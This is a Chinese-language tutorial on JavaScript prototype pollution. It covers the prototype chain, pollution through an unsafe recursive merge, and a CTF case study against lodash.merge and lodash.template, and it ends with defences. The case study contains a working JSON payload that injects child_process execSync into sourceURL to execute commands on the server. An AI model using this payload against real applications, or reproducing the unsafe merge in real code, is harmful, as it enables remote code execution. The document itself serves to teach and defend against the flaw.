深入理解JavaScript Prototype污染攻击
字数 1398 2025-08-18 11:38:28
JavaScript Prototype 污染攻击详解
1. Prototype 和 proto 基础
1.1 构造函数与原型
在 JavaScript 中,类是通过构造函数定义的:
function Foo() {
this.bar = 1
}
new Foo()
1.2 方法定义的问题
直接在构造函数中定义方法会导致每次实例化都创建新方法:
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
1.3 使用 Prototype 优化
通过原型定义方法,所有实例共享同一方法:
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
1.4 proto 属性
实例通过 __proto__ 访问类的原型:
foo.__proto__ == Foo.prototype
关键点总结:
prototype是类的属性,包含所有实例共享的属性和方法__proto__是实例属性,指向其类的prototype- 每个构造函数都有一个原型对象
- JavaScript 使用 prototype 链实现继承机制
2. 原型链继承机制
2.1 继承示例
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: Melania Trump
2.2 属性查找机制
对于对象 son 调用 son.last_name 时:
- 在
son对象中寻找last_name - 找不到则在
son.__proto__中寻找 - 继续在
son.__proto__.__proto__中寻找 - 直到找到
null结束(Object.prototype.__proto__是null)
3. 原型链污染原理
3.1 污染示例
let foo = {bar: 1}
foo.__proto__.bar = 2 // 修改Object原型
let zoo = {}
console.log(zoo.bar) // 输出: 2
原理:通过修改实例的原型,实际上修改了其类(这里是 Object)的原型,影响所有同类实例。
4. 污染触发条件
4.1 关键操作
能够控制对象键名的操作可能触发原型链污染:
- 对象 merge(合并)
- 对象 clone(克隆)
4.2 Merge 函数示例
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
4.3 污染实验
直接赋值无法污染:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 undefined
let o3 = {}
console.log(o3.b) // undefined
通过 JSON 解析可实现污染:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2
let o3 = {}
console.log(o3.b) // 2
关键区别:
- 直接对象字面量中
__proto__被视为原型 - JSON 解析时
__proto__被视为普通键名
5. 实际案例:Code-Breaking 2018 Thejs
5.1 漏洞代码
const lodash = require('lodash')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
5.2 漏洞利用链
- 通过
lodash.merge污染原型 - 污染
Object.prototype添加任意属性 - 影响
lodash.template函数:
// lodash.template 内部代码片段
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n'
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues)
})
5.3 利用方式
发送包含恶意 __proto__ 的 JSON 数据:
{
"__proto__": {
"sourceURL": "\nconsole.log(process.mainModule.require('child_process').execSync('id').toString())\n//"
}
}
5.4 漏洞原理
merge操作将sourceURL注入到Object.prototypelodash.template检查options.sourceURL时从原型链获取恶意值- 恶意代码被拼接到
Function构造函数中执行
6. 防御措施
-
冻结原型:
Object.freeze(Object.prototype) -
使用无原型对象:
Object.create(null) -
检查键名:
function safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue } target[key] = source[key] } } -
使用新版 Lodash(已修复此问题)
-
避免不安全的递归合并,使用浅拷贝或可控的深拷贝
7. 总结
Prototype 污染是 JavaScript 特有的安全问题,利用 JavaScript 灵活的原型链机制,通过修改原型对象影响所有相关实例。关键在于:
- 理解
prototype和__proto__的关系 - 识别能够控制对象键名的操作(如 merge、clone)
- 了解 JSON 解析与对象字面量的区别
- 实际应用中,关注库函数(如 Lodash)的原型污染风险
防御重点在于严格控制原型修改,特别是在处理用户可控的对象属性时。